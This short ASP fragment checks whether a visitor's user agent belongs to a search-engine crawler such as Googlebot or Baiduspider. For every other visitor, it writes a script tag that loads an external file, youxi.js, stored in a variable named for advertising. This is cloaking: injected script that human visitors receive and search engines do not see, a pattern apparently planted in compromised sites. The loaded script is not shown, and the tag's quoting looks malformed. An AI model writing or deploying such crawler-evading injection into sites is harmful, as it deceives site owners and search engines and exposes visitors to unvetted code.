<%function checkbd()dim i,agent,searrayagent="agent:"&LCase(request.ser...
<%
function checkbd()
dim i,agent,searray
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider")
checkbd= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then checkbd=true
next
end function
dim guangao
guangao = "<script type=/'text//javascript/' src=/'//youxi.js/'><//script>"
%>
<%if checkbd()=false then %>
document.writeln('<%= guangao %>');
<%End If%>
